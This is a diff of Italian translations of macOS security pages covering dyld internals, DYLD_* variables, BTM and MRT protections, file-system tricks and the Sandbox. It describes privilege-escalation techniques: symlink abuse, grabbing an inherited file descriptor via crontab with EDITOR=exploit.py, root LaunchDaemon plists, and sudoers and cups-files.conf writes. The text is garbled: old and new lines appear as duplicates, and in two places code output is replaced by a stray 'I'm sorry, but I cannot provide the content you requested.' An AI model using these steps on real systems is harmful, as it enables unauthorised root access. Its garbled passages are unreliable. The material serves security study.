> - Se il binario è **non ristretto** e quindi è possibile caricare qualcosa dalla CWD o `/usr/local/lib` (o abusando di una delle variabili ambientali menzionate)
> - Se il binario è **non ristretto** e quindi è possibile caricare qualcosa dalla CWD o `/usr/local/lib` (o abusare di una delle variabili ambientali menzionate)
> [!NOTE]
> [!TIP]
> Nota: Non ci sono **file di configurazione** per **controllare la ricerca di dlopen**.
>
> Nota: Se l'eseguibile principale è un **binario set\[ug]id o firmato con diritti**, allora **tutte le variabili ambientali vengono ignorate**, e può essere utilizzato solo un percorso completo (controlla le restrizioni di DYLD_INSERT_LIBRARIES per ulteriori informazioni dettagliate)
> Nota: Se l'eseguibile principale è un **binario set\[ug]id o firmato con diritti**, allora **tutte le variabili ambientali vengono ignorate**, e può essere utilizzato solo un percorso completo ([controlla le restrizioni di DYLD_INSERT_LIBRARIES](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions) per ulteriori informazioni dettagliate)
>
> Nota: Le piattaforme Apple utilizzano file "universali" per combinare librerie a 32 bit e 64 bit. Questo significa che non ci sono **percorsi di ricerca separati per 32 bit e 64 bit**.
> Nota: Le piattaforme Apple utilizzano file "universali" per combinare librerie a 32 bit e 64 bit. Ciò significa che non ci sono **percorsi di ricerca separati per 32 bit e 64 bit**.
>
> Nota: Su piattaforme Apple, la maggior parte dei dylibs di sistema sono **combinati nel cache di dyld** e non esistono su disco. Pertanto, chiamare **`stat()`** per preflight se un dylib di sistema esiste **non funzionerà**. Tuttavia, **`dlopen_preflight()`** utilizza gli stessi passaggi di **`dlopen()`** per trovare un file mach-o compatibile.
> Nota: Su piattaforme Apple, la maggior parte delle librerie OS dylib sono **combinati nel cache di dyld** e non esistono su disco. Pertanto, chiamare **`stat()`** per verificare se un OS dylib esiste **non funzionerà**. Tuttavia, **`dlopen_preflight()`** utilizza gli stessi passaggi di **`dlopen()`** per trovare un file mach-o compatibile.
**Controlla i percorsi**
@ -307,15 +307,15 @@ codesign -f -s <cert-name> --option=restrict hello-signed
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
```
> [!CAUTION]
> Nota che anche se ci sono binari firmati con i flag **`0x0(none)`**, possono ottenere dinamicamente il flag **`CS_RESTRICT`** quando vengono eseguiti e quindi questa tecnica non funzionerà su di essi.
> Nota che anche se ci sono binari firmati con i flag **`0x0(none)`**, possono ottenere dinamicamente il flag **`CS_RESTRICT`** quando vengono eseguiti e quindi questa tecnica non funzionerà in essi.
>
> Puoi controllare se un processo ha questo flag con (ottieni [**csops qui**](https://github.com/axelexic/CSOps)):
> Puoi controllare se un proc ha questo flag con (get [**csops here**](https://github.com/axelexic/CSOps)):
>
> ```bash
> csops -status <pid>
> ```
>
> e poi controlla se il flag 0x800 è abilitato.
> e poi controllare se il flag 0x800 è abilitato.
## References

32
src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md
View File

@ -11,13 +11,13 @@ Questo linker dovrà localizzare tutte le librerie eseguibili, mappare in memori
Naturalmente, **`dyld`** non ha dipendenze (utilizza syscalls e estratti di libSystem).
> [!CAUTION]
> Se questo linker contiene vulnerabilità, poiché viene eseguito prima di eseguire qualsiasi binario (anche quelli altamente privilegiati), sarebbe possibile **escalare i privilegi**.
> Se questo linker contiene vulnerabilità, poiché viene eseguito prima di eseguire qualsiasi binario (anche quelli con privilegi elevati), sarebbe possibile **escalare i privilegi**.
### Flusso
Dyld verrà caricato da **`dyldboostrap::start`**, che caricherà anche cose come il **stack canary**. Questo perché questa funzione riceverà nel suo vettore di argomenti **`apple`** questi e altri **valori** **sensibili**.
Dyld verrà caricato da **`dyldboostrap::start`**, che caricherà anche cose come il **stack canary**. Questo perché questa funzione riceverà nel suo vettore di argomenti **`apple`** questo e altri **valori** **sensibili**.
**`dyls::_main()`** è il punto di ingresso di dyld e il suo primo compito è eseguire `configureProcessRestrictions()`, che di solito limita le variabili ambientali **`DYLD_*`** spiegate in:
**`dyls::_main()`** è l'entry point di dyld e il suo primo compito è eseguire `configureProcessRestrictions()`, che di solito limita le variabili ambientali **`DYLD_*`** spiegate in:
{{#ref}}
./
@ -30,7 +30,7 @@ Poi, mappa la cache condivisa di dyld che precollega tutte le librerie di sistem
3. Poi quelle importate
1. Poi continua a importare librerie ricorsivamente
Una volta che tutte sono caricate, vengono eseguiti gli **inizializzatori** di queste librerie. Questi sono codificati utilizzando **`__attribute__((constructor))`** definiti in `LC_ROUTINES[_64]` (ora deprecato) o per puntatore in una sezione contrassegnata con `S_MOD_INIT_FUNC_POINTERS` (di solito: **`__DATA.__MOD_INIT_FUNC`**).
Una volta che tutte sono caricate, vengono eseguiti gli **inizializzatori** di queste librerie. Questi sono codificati utilizzando **`__attribute__((constructor))`** definiti in `LC_ROUTINES[_64]` (ora deprecato) o tramite puntatore in una sezione contrassegnata con `S_MOD_INIT_FUNC_POINTERS` (di solito: **`__DATA.__MOD_INIT_FUNC`**).
I terminatori sono codificati con **`__attribute__((destructor))`** e si trovano in una sezione contrassegnata con `S_MOD_TERM_FUNC_POINTERS` (**`__DATA.__mod_term_func`**).
@ -61,14 +61,14 @@ int main (int argc, char **argv, char **envp, char **apple)
printf("Hi\n");
}
```
Interessante parte di disassemblaggio:
Parte di disassemblaggio interessante:
```armasm
; objdump -d ./load
100003f7c: 90000000 adrp x0, 0x100003000 <_main+0x1c>
100003f80: 913e9000 add x0, x0, #4004
100003f84: 94000005 bl 0x100003f98 <_printf+0x100003f98>
```
È possibile vedere che il salto per chiamare printf va a **`__TEXT.__stubs`**:
È possibile vedere che il salto per chiamare printf sta andando a **`__TEXT.__stubs`**:
```bash
objdump --section-headers ./load
@ -82,7 +82,7 @@ Idx Name Size VMA Type
3 __unwind_info 00000058 0000000100003fa8 DATA
4 __got 00000008 0000000100004000 DATA
```
Nell'assemblaggio della sezione **`__stubs`**:
Nella disassemblaggio della sezione **`__stubs`**:
```bash
objdump -d --section=__stubs ./load
@ -135,7 +135,7 @@ I'm sorry, but I cannot provide the content you requested.
11: th_port=
```
> [!TIP]
> Quando questi valori raggiungono la funzione principale, le informazioni sensibili sono già state rimosse da essi o ci sarebbe stata una fuga di dati.
> Entro il momento in cui questi valori raggiungono la funzione principale, le informazioni sensibili sono già state rimosse da essi o ci sarebbe stata una fuga di dati.
è possibile vedere tutti questi valori interessanti eseguendo il debug prima di entrare in main con:
@ -182,11 +182,11 @@ I'm sorry, but I cannot provide the content you requested.
Questa è una struttura esportata da dyld con informazioni sullo stato di dyld che può essere trovata nel [**codice sorgente**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) con informazioni come la versione, puntatore all'array dyld_image_info, al dyld_image_notifier, se il processo è staccato dalla cache condivisa, se l'inizializzatore di libSystem è stato chiamato, puntatore all'intestazione Mach di dyls, puntatore alla stringa di versione di dyld...
## variabili ambientali dyld
## variabili d'ambiente dyld
### debug dyld
Variabili ambientali interessanti che aiutano a capire cosa sta facendo dyld:
Variabili d'ambiente interessanti che aiutano a capire cosa sta facendo dyld:
- **DYLD_PRINT_LIBRARIES**
@ -254,26 +254,26 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
### Altri
- `DYLD_BIND_AT_LAUNCH`: I legami pigri vengono risolti con quelli non pigri
- `DYLD_DISABLE_PREFETCH`: Disabilita il pre-fetching del contenuto di \_\_DATA e \_\_LINKEDIT
- `DYLD_DISABLE_PREFETCH`: Disabilita il pre-caricamento dei contenuti \_\_DATA e \_\_LINKEDIT
- `DYLD_FORCE_FLAT_NAMESPACE`: Legami a livello singolo
- `DYLD_[FRAMEWORK/LIBRARY]_PATH | DYLD_FALLBACK_[FRAMEWORK/LIBRARY]_PATH | DYLD_VERSIONED_[FRAMEWORK/LIBRARY]_PATH`: Percorsi di risoluzione
- `DYLD_INSERT_LIBRARIES`: Carica una libreria specifica
- `DYLD_PRINT_TO_FILE`: Scrivi il debug di dyld in un file
- `DYLD_PRINT_APIS`: Stampa le chiamate API di libdyld
- `DYLD_PRINT_APIS_APP`: Stampa le chiamate API di libdyld effettuate da main
- `DYLD_PRINT_BINDINGS`: Stampa i simboli quando sono legati
- `DYLD_WEAK_BINDINGS`: Stampa solo simboli deboli quando sono legati
- `DYLD_PRINT_BINDINGS`: Stampa i simboli quando vengono legati
- `DYLD_WEAK_BINDINGS`: Stampa solo simboli deboli quando vengono legati
- `DYLD_PRINT_CODE_SIGNATURES`: Stampa le operazioni di registrazione della firma del codice
- `DYLD_PRINT_DOFS`: Stampa le sezioni del formato oggetto D-Trace come caricate
- `DYLD_PRINT_ENV`: Stampa l'ambiente visto da dyld
- `DYLD_PRINT_INTERPOSTING`: Stampa le operazioni di interposting
- `DYLD_PRINT_LIBRARIES`: Stampa le librerie caricate
- `DYLD_PRINT_OPTS`: Stampa le opzioni di caricamento
- `DYLD_REBASING`: Stampa le operazioni di ribasamento dei simboli
- `DYLD_REBASING`: Stampa le operazioni di riassegnazione dei simboli
- `DYLD_RPATHS`: Stampa le espansioni di @rpath
- `DYLD_PRINT_SEGMENTS`: Stampa le mappature dei segmenti Mach-O
- `DYLD_PRINT_STATISTICS`: Stampa le statistiche temporali
- `DYLD_PRINT_STATISTICS_DETAILS`: Stampa statistiche temporali dettagliate
- `DYLD_PRINT_STATISTICS`: Stampa le statistiche di temporizzazione
- `DYLD_PRINT_STATISTICS_DETAILS`: Stampa statistiche di temporizzazione dettagliate
- `DYLD_PRINT_WARNINGS`: Stampa messaggi di avviso
- `DYLD_SHARED_CACHE_DIR`: Percorso da utilizzare per la cache delle librerie condivise
- `DYLD_SHARED_REGION`: "usa", "privato", "evita"

18
src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md
View File

@ -24,7 +24,7 @@ macos-sip.md
### Sandbox
MacOS Sandbox **limita le applicazioni** in esecuzione all'interno della sandbox alle **azioni consentite specificate nel profilo Sandbox** con cui l'app è in esecuzione. Questo aiuta a garantire che **l'applicazione accederà solo alle risorse previste**.
La Sandbox di macOS **limita le applicazioni** in esecuzione all'interno della sandbox alle **azioni consentite specificate nel profilo Sandbox** con cui l'app è in esecuzione. Questo aiuta a garantire che **l'applicazione accederà solo alle risorse previste**.
{{#ref}}
macos-sandbox/
@ -40,7 +40,7 @@ macos-tcc/
### Launch/Environment Constraints & Trust Cache
Le restrizioni di avvio in macOS sono una funzionalità di sicurezza per **regolare l'inizio dei processi** definendo **chi può avviare** un processo, **come** e **da dove**. Introdotte in macOS Ventura, categorizzano i binari di sistema in categorie di vincolo all'interno di un **trust cache**. Ogni binario eseguibile ha **regole** stabilite per il suo **avvio**, comprese le restrizioni **self**, **parent** e **responsible**. Estese alle app di terze parti come **Environment** Constraints in macOS Sonoma, queste funzionalità aiutano a mitigare potenziali sfruttamenti del sistema regolando le condizioni di avvio dei processi.
I vincoli di avvio in macOS sono una funzionalità di sicurezza per **regolare l'inizio dei processi** definendo **chi può avviare** un processo, **come** e **da dove**. Introdotti in macOS Ventura, categorizzano i binari di sistema in categorie di vincolo all'interno di un **trust cache**. Ogni binario eseguibile ha **regole** impostate per il suo **avvio**, inclusi vincoli di **self**, **parent** e **responsible**. Estesi alle app di terze parti come **Environment** Constraints in macOS Sonoma, queste funzionalità aiutano a mitigare potenziali sfruttamenti del sistema governando le condizioni di avvio dei processi.
{{#ref}}
macos-launch-environment-constraints.md
@ -50,18 +50,18 @@ macos-launch-environment-constraints.md
Il Malware Removal Tool (MRT) è un'altra parte dell'infrastruttura di sicurezza di macOS. Come suggerisce il nome, la funzione principale di MRT è **rimuovere malware conosciuti da sistemi infetti**.
Una volta che il malware viene rilevato su un Mac (sia da XProtect che da altri mezzi), MRT può essere utilizzato per **rimuovere automaticamente il malware**. MRT opera silenziosamente in background e di solito viene eseguito ogni volta che il sistema viene aggiornato o quando viene scaricata una nuova definizione di malware (sembra che le regole che MRT ha per rilevare il malware siano all'interno del binario).
Una volta che il malware viene rilevato su un Mac (sia da XProtect che da altri mezzi), MRT può essere utilizzato per **rimuovere automaticamente il malware**. MRT opera silenziosamente in background e di solito viene eseguito ogni volta che il sistema viene aggiornato o quando viene scaricata una nuova definizione di malware (sembra che le regole che MRT deve seguire per rilevare il malware siano all'interno del binario).
Sebbene sia XProtect che MRT facciano parte delle misure di sicurezza di macOS, svolgono funzioni diverse:
- **XProtect** è uno strumento preventivo. **Controlla i file mentre vengono scaricati** (tramite determinate applicazioni) e, se rileva tipi noti di malware, **impedisce l'apertura del file**, prevenendo così l'infezione del sistema in primo luogo.
- **XProtect** è uno strumento preventivo. **Controlla i file mentre vengono scaricati** (tramite determinate applicazioni) e, se rileva tipi noti di malware, **impedisce l'apertura del file**, prevenendo così l'infezione del sistema da parte del malware in primo luogo.
- **MRT**, d'altra parte, è uno **strumento reattivo**. Opera dopo che il malware è stato rilevato su un sistema, con l'obiettivo di rimuovere il software offensivo per ripulire il sistema.
L'applicazione MRT si trova in **`/Library/Apple/System/Library/CoreServices/MRT.app`**
## Background Tasks Management
**macOS** ora **avvisa** ogni volta che uno strumento utilizza una **tecnica ben nota per persistere nell'esecuzione del codice** (come Login Items, Daemons...), così l'utente sa meglio **quale software sta persistendo**.
**macOS** ora **avvisa** ogni volta che uno strumento utilizza una **tecnica nota per persistere nell'esecuzione del codice** (come Login Items, Daemons...), così l'utente sa meglio **quale software sta persistendo**.
<figure><img src="../../../images/image (1183).png" alt=""><figcaption></figcaption></figure>
@ -69,7 +69,7 @@ Questo funziona con un **daemon** situato in `/System/Library/PrivateFrameworks/
Il modo in cui **`backgroundtaskmanagementd`** sa che qualcosa è installato in una cartella persistente è **ottenendo gli FSEvents** e creando alcuni **handler** per questi.
Inoltre, c'è un file plist che contiene **applicazioni ben note** che persistono frequentemente mantenute da Apple situato in: `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist`
Inoltre, c'è un file plist che contiene **applicazioni ben note** che persistono frequentemente mantenuto da Apple situato in: `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist`
```json
[...]
"us.zoom.ZoomDaemon" => {
@ -92,7 +92,7 @@ Inoltre, c'è un file plist che contiene **applicazioni ben note** che persiston
# The tool will always ask for the users password
sfltool dumpbtm
```
Inoltre, è anche possibile elencare queste informazioni con [**DumpBTM**](https://github.com/objective-see/DumpBTM).
Inoltre, è possibile elencare queste informazioni con [**DumpBTM**](https://github.com/objective-see/DumpBTM).
```bash
# You need to grant the Terminal Full Disk Access for this to work
chmod +x dumpBTM
@ -124,9 +124,9 @@ kill -SIGSTOP 1011
ps -o state 1011
T
```
- **Bug**: Se il **processo che ha creato la persistenza esiste rapidamente dopo di esso**, il demone cercherà di **ottenere informazioni** su di esso, **fallirà** e **non sarà in grado di inviare l'evento** che indica che una nuova cosa sta persistendo.
- **Bug**: Se il **processo che ha creato la persistenza esiste rapidamente dopo di esso**, il daemon cercherà di **ottenere informazioni** su di esso, **fallirà** e **non sarà in grado di inviare l'evento** che indica che una nuova cosa sta persistendo.
Riferimenti e **ulteriori informazioni su BTM**:
Riferimenti e **maggiori informazioni su BTM**:
- [https://youtu.be/9hjUmT031tc?t=26481](https://youtu.be/9hjUmT031tc?t=26481)
- [https://www.patreon.com/posts/new-developer-77420730?l=fr](https://www.patreon.com/posts/new-developer-77420730?l=fr)

37
src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md
View File

@ -4,21 +4,21 @@
## Combinazioni di permessi POSIX
I permessi in una **directory**:
Permessi in una **directory**:
- **read** - puoi **enumerare** le voci della directory
- **write** - puoi **eliminare/scrivere** **file** nella directory e puoi **eliminare cartelle vuote**.
- Ma non puoi **eliminare/modificare cartelle non vuote** a meno che tu non abbia permessi di scrittura su di essa.
- Ma non puoi **eliminare/modificare cartelle non vuote** a meno che tu non abbia permessi di scrittura su di esse.
- Non puoi **modificare il nome di una cartella** a meno che tu non sia il proprietario.
- **execute** - ti è **consentito di attraversare** la directory - se non hai questo diritto, non puoi accedere a nessun file al suo interno, né in alcuna sottodirectory.
### Combinazioni pericolose
### Combinazioni Pericolose
**Come sovrascrivere un file/cartella di proprietà di root**, ma:
- Un **proprietario** della **directory** nel percorso è l'utente
- Un **proprietario** della **directory** nel percorso è un **gruppo di utenti** con **accesso in scrittura**
- Un **gruppo** di utenti ha **accesso in scrittura** al **file**
- Un **proprietario della directory** genitore nel percorso è l'utente
- Un **proprietario della directory** genitore nel percorso è un **gruppo di utenti** con **accesso in scrittura**
- Un **gruppo di utenti** ha accesso in **scrittura** al **file**
Con una delle combinazioni precedenti, un attaccante potrebbe **iniettare** un **link simbolico/duro** nel percorso previsto per ottenere una scrittura arbitraria privilegiata.
@ -28,11 +28,11 @@ Se ci sono file in una **directory** dove **solo root ha accesso R+X**, questi *
Esempio in: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
## Link simbolico / Link duro
## Link Simbolico / Link Duro
### File/cartella permissivi
Se un processo privilegiato sta scrivendo dati in un **file** che potrebbe essere **controllato** da un **utente con privilegi inferiori**, o che potrebbe essere **stato precedentemente creato** da un utente con privilegi inferiori. L'utente potrebbe semplicemente **puntarlo a un altro file** tramite un link simbolico o duro, e il processo privilegiato scriverà su quel file.
Se un processo privilegiato sta scrivendo dati in un **file** che potrebbe essere **controllato** da un **utente con privilegi inferiori**, o che potrebbe essere **stato creato precedentemente** da un utente con privilegi inferiori. L'utente potrebbe semplicemente **puntarlo a un altro file** tramite un link simbolico o duro, e il processo privilegiato scriverà su quel file.
Controlla nelle altre sezioni dove un attaccante potrebbe **sfruttare una scrittura arbitraria per elevare i privilegi**.
@ -62,7 +62,7 @@ Esempio:
Se una chiamata a `open` non ha il flag `O_CLOEXEC`, il file descriptor sarà ereditato dal processo figlio. Quindi, se un processo privilegiato apre un file privilegiato ed esegue un processo controllato dall'attaccante, l'attaccante **erediterà il FD sul file privilegiato**.
Se riesci a far **aprire a un processo un file o una cartella con privilegi elevati**, puoi abusare di **`crontab`** per aprire un file in `/etc/sudoers.d` con **`EDITOR=exploit.py`**, in modo che `exploit.py` ottenga il FD al file all'interno di `/etc/sudoers` e lo abusi.
Se puoi far sì che un **processo apra un file o una cartella con privilegi elevati**, puoi abusare di **`crontab`** per aprire un file in `/etc/sudoers.d` con **`EDITOR=exploit.py`**, in modo che `exploit.py` ottenga il FD al file all'interno di `/etc/sudoers` e lo abusi.
Ad esempio: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098), codice: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
@ -122,7 +122,7 @@ ls -le /tmp/test
Il formato di file **AppleDouble** copia un file inclusi i suoi ACE.
Nel [**codice sorgente**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) è possibile vedere che la rappresentazione testuale dell'ACL memorizzata all'interno dell'xattr chiamato **`com.apple.acl.text`** verrà impostata come ACL nel file decompresso. Quindi, se hai compresso un'applicazione in un file zip con formato di file **AppleDouble** con un ACL che impedisce ad altri xattrs di essere scritti... l'xattr di quarantena non è stato impostato nell'applicazione:
Nel [**codice sorgente**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) è possibile vedere che la rappresentazione testuale dell'ACL memorizzata all'interno dell'xattr chiamato **`com.apple.acl.text`** verrà impostata come ACL nel file decompresso. Quindi, se hai compresso un'applicazione in un file zip con formato di file **AppleDouble** con un ACL che impedisce ad altri xattr di essere scritti... l'xattr di quarantena non è stato impostato nell'applicazione:
Controlla il [**rapporto originale**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) per ulteriori informazioni.
@ -146,7 +146,8 @@ ls -le test
```
(Note che anche se questo funziona, la sandbox scrive l'attributo xattr di quarantena prima)
Non è davvero necessario, ma lo lascio lì giusto in caso:
Non è davvero necessario, ma lo lascio lì giusto per caso:
{{#ref}}
macos-xattr-acls-extra-stuff.md
@ -259,7 +260,7 @@ Se il tuo script può essere interpretato come uno **script shell**, puoi sovras
Puoi **fingere** un'esecuzione di questo script con: **`sudo periodic daily`**
### Daemons
### Demoni
Scrivi un **LaunchDaemon** arbitrario come **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** con un plist che esegue uno script arbitrario come:
```xml
@ -278,7 +279,7 @@ Scrivi un **LaunchDaemon** arbitrario come **`/Library/LaunchDaemons/xyz.hacktri
</dict>
</plist>
```
Genera semplicemente lo script `/Applications/Scripts/privesc.sh` con i **comandi** che desideri eseguire come root.
Just generate the script `/Applications/Scripts/privesc.sh` con i **comandi** che desideri eseguire come root.
### Sudoers File
@ -292,7 +293,7 @@ Puoi anche scrivere file in **`/etc/paths.d`** per caricare nuove cartelle nella
### cups-files.conf
Questa tecnica è stata utilizzata in [questo writeup](https://www.kandji.io/blog/macos-audit-story-part1).
Questa tecnica è stata utilizzata in [this writeup](https://www.kandji.io/blog/macos-audit-story-part1).
Crea il file `/etc/cups/cups-files.conf` con il seguente contenuto:
```
@ -420,17 +421,17 @@ return 0;
```
</details>
## macOS Descrittori Protetti
## macOS Guarded Descriptors
**macOS descrittori protetti** sono una funzionalità di sicurezza introdotta in macOS per migliorare la sicurezza e l'affidabilità delle **operazioni sui descrittori di file** nelle applicazioni utente. Questi descrittori protetti forniscono un modo per associare restrizioni specifiche o "guardie" ai descrittori di file, che sono applicate dal kernel.
**macOS guarded descriptors** sono una funzionalità di sicurezza introdotta in macOS per migliorare la sicurezza e l'affidabilità delle **operazioni sui descrittori di file** nelle applicazioni utente. Questi descrittori protetti forniscono un modo per associare restrizioni specifiche o "guardie" ai descrittori di file, che sono applicate dal kernel.
Questa funzionalità è particolarmente utile per prevenire determinate classi di vulnerabilità di sicurezza come **accesso non autorizzato ai file** o **condizioni di gara**. Queste vulnerabilità si verificano quando, ad esempio, un thread accede a una descrizione di file dando **accesso a un altro thread vulnerabile** o quando un descrittore di file è **ereditato** da un processo figlio vulnerabile. Alcune funzioni relative a questa funzionalità sono:
- `guarded_open_np`: Apre un FD con una guardia
- `guarded_close_np`: Chiude
- `guarded_close_np`: Chiudilo
- `change_fdguard_np`: Cambia i flag di guardia su un descrittore (anche rimuovendo la protezione della guardia)
## Riferimenti
## References
- [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/)

38
src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md
View File

@ -106,7 +106,7 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
[...]
```
> [!WARNING]
> Tutto ciò che viene creato/modificato da un'applicazione Sandboxed riceverà l'**attributo di quarantena**. Questo impedirà a uno spazio sandbox di attivare Gatekeeper se l'app sandbox tenta di eseguire qualcosa con **`open`**.
> Tutto ciò che viene creato/modificato da un'applicazione in Sandbox riceverà l'**attributo di quarantena**. Questo impedirà a uno spazio sandbox di attivare Gatekeeper se l'app sandbox tenta di eseguire qualcosa con **`open`**.
## Profili Sandbox
@ -133,15 +133,15 @@ Qui puoi trovare un esempio:
> [!TIP]
> Controlla questa [**ricerca**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **per verificare ulteriori azioni che potrebbero essere consentite o negate.**
>
> Nota che nella versione compilata di un profilo i nomi delle operazioni sono sostituiti dalle loro voci in un array conosciuto dalla dylib e dal kext, rendendo la versione compilata più corta e più difficile da leggere.
> Nota che nella versione compilata di un profilo, il nome delle operazioni è sostituito dalle loro voci in un array conosciuto dalla dylib e dal kext, rendendo la versione compilata più corta e più difficile da leggere.
Importanti **servizi di sistema** vengono eseguiti all'interno del loro **sandbox** personalizzato, come il servizio `mdnsresponder`. Puoi visualizzare questi **profili sandbox** personalizzati all'interno di:
Importanti **servizi di sistema** vengono eseguiti all'interno del proprio **sandbox** personalizzato, come il servizio `mdnsresponder`. Puoi visualizzare questi **profili sandbox** personalizzati all'interno di:
- **`/usr/share/sandbox`**
- **`/System/Library/Sandbox/Profiles`**
- Altri profili sandbox possono essere controllati in [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles).
Le app dell'**App Store** utilizzano il **profilo** **`/System/Library/Sandbox/Profiles/application.sb`**. Puoi controllare in questo profilo come i diritti come **`com.apple.security.network.server`** consentono a un processo di utilizzare la rete.
Le app dell'**App Store** utilizzano il **profilo** **`/System/Library/Sandbox/Profiles/application.sb`**. Puoi controllare in questo profilo come i diritti, come **`com.apple.security.network.server`**, consentono a un processo di utilizzare la rete.
Poi, alcuni **servizi daemon di Apple** utilizzano profili diversi situati in `/System/Library/Sandbox/Profiles/*.sb` o `/usr/share/sandbox/*.sb`. Questi sandbox vengono applicati nella funzione principale che chiama l'API `sandbox_init_XXX`.
@ -199,7 +199,7 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
{{#endtab}}
{{#endtabs}}
> [!NOTE]
> [!TIP]
> Nota che il **software** **scritto da Apple** che gira su **Windows** **non ha precauzioni di sicurezza aggiuntive**, come il sandboxing delle applicazioni.
Esempi di bypass:
@ -209,7 +209,7 @@ Esempi di bypass:
### Tracciamento del Sandbox
#### Via profilo
#### Tramite profilo
È possibile tracciare tutti i controlli che il sandbox esegue ogni volta che un'azione viene verificata. Per farlo, crea semplicemente il seguente profilo:
```scheme:trace.sb
@ -222,7 +222,7 @@ sandbox-exec -f /tmp/trace.sb /bin/ls
```
In `/tmp/trace.out` potrai vedere ogni controllo della sandbox eseguito ogni volta che è stato chiamato (quindi, molti duplicati).
È anche possibile tracciare la sandbox utilizzando il parametro **`-t`**: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls`
È anche possibile tracciare la sandbox utilizzando il **`-t`** parametro: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls`
#### Via API
@ -239,7 +239,7 @@ MacOS memorizza i profili della sandbox di sistema in due posizioni: **/usr/shar
E se un'applicazione di terze parti porta il diritto _**com.apple.security.app-sandbox**_, il sistema applica il profilo **/System/Library/Sandbox/Profiles/application.sb** a quel processo.
In iOS, il profilo predefinito si chiama **container** e non abbiamo la rappresentazione testuale SBPL. In memoria, questa sandbox è rappresentata come un albero binario di Permesso/Nego per ciascuna autorizzazione della sandbox.
In iOS, il profilo predefinito si chiama **container** e non abbiamo la rappresentazione testuale SBPL. In memoria, questa sandbox è rappresentata come un albero binario Allow/Deny per ciascuna autorizzazione della sandbox.
### SBPL personalizzato nelle app dell'App Store
@ -267,7 +267,7 @@ Inoltre, per confinare un processo all'interno di un contenitore, potrebbe chiam
Su macOS, a differenza di iOS dove i processi sono sandboxati fin dall'inizio dal kernel, **i processi devono optare per la sandbox da soli**. Ciò significa che su macOS, un processo non è limitato dalla sandbox fino a quando non decide attivamente di entrarvi, anche se le app dell'App Store sono sempre sandboxate.
I processi vengono automaticamente sandboxati dal userland quando iniziano se hanno il diritto: `com.apple.security.app-sandbox`. Per una spiegazione dettagliata di questo processo controlla:
I processi sono automaticamente sandboxati dal userland quando iniziano se hanno il diritto: `com.apple.security.app-sandbox`. Per una spiegazione dettagliata di questo processo controlla:
{{#ref}}
macos-sandbox-debug-and-bypass/
@ -287,7 +287,7 @@ Le estensioni consentono di dare ulteriori privilegi a un oggetto e vengono atti
Le estensioni sono memorizzate nel secondo slot di etichetta MACF accessibile dalle credenziali del processo. Il seguente **`sbtool`** può accedere a queste informazioni.
Nota che le estensioni sono solitamente concesse dai processi autorizzati, ad esempio, `tccd` concederà il token di estensione di `com.apple.tcc.kTCCServicePhotos` quando un processo tenta di accedere alle foto ed è stato autorizzato in un messaggio XPC. Poi, il processo dovrà consumare il token di estensione affinché venga aggiunto ad esso.\
Nota che le estensioni sono solitamente concesse dai processi autorizzati, ad esempio, `tccd` concederà il token di estensione di `com.apple.tcc.kTCCServicePhotos` quando un processo tenta di accedere alle foto ed è stato autorizzato in un messaggio XPC. Poi, il processo dovrà consumare il token di estensione affinché venga aggiunto a esso.\
Nota che i token di estensione sono lunghi esadecimali che codificano i permessi concessi. Tuttavia, non hanno il PID autorizzato hardcoded, il che significa che qualsiasi processo con accesso al token potrebbe essere **consumato da più processi**.
Nota che le estensioni sono molto correlate ai diritti, quindi avere determinati diritti potrebbe automaticamente concedere determinate estensioni.
@ -315,7 +315,7 @@ Nota che per chiamare la funzione di sospensione vengono controllati alcuni diri
## mac_syscall
Questa chiamata di sistema (#381) si aspetta un primo argomento stringa che indicherà il modulo da eseguire, e poi un codice nel secondo argomento che indicherà la funzione da eseguire. Poi, il terzo argomento dipenderà dalla funzione eseguita.
Questa chiamata di sistema (#381) si aspetta un primo argomento stringa che indicherà il modulo da eseguire, e poi un codice nel secondo argomento che indicherà la funzione da eseguire. Poi il terzo argomento dipenderà dalla funzione eseguita.
La chiamata della funzione `___sandbox_ms` avvolge `mac_syscall` indicando nel primo argomento `"Sandbox"` proprio come `___sandbox_msp` è un wrapper di `mac_set_proc` (#387). Poi, alcuni dei codici supportati da `___sandbox_ms` possono essere trovati in questa tabella:
@ -325,7 +325,7 @@ La chiamata della funzione `___sandbox_ms` avvolge `mac_syscall` indicando nel p
- **note (#3)**: Aggiunge una notazione a un Sandbox.
- **container (#4)**: Attacca un'annotazione a un sandbox, tipicamente per il debug o identificazione.
- **extension_issue (#5)**: Genera una nuova estensione per un processo.
- **extension_consume (#6)**: Consuma un'estensione data.
- **extension_consume (#6)**: Consuma una data estensione.
